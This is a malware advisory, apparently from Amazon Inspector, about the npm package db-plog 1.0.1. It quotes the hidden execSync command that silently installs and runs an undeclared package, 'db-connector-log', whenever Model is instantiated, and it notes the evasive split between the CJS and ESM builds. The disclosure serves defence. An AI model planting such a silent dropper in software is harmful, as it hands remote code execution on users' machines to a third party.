db-plog @1.0.1

Summary

On every Model instantiation — the package's documented primary API — dist/index.js executes execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }) , then require('db-connector-log') and invokes new DxDatabaseConnector({}).queryDBConnect() . The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as main ) contains this dropper while the ESM bundle (dist/index.mjs, declared as module ) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper.

Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99)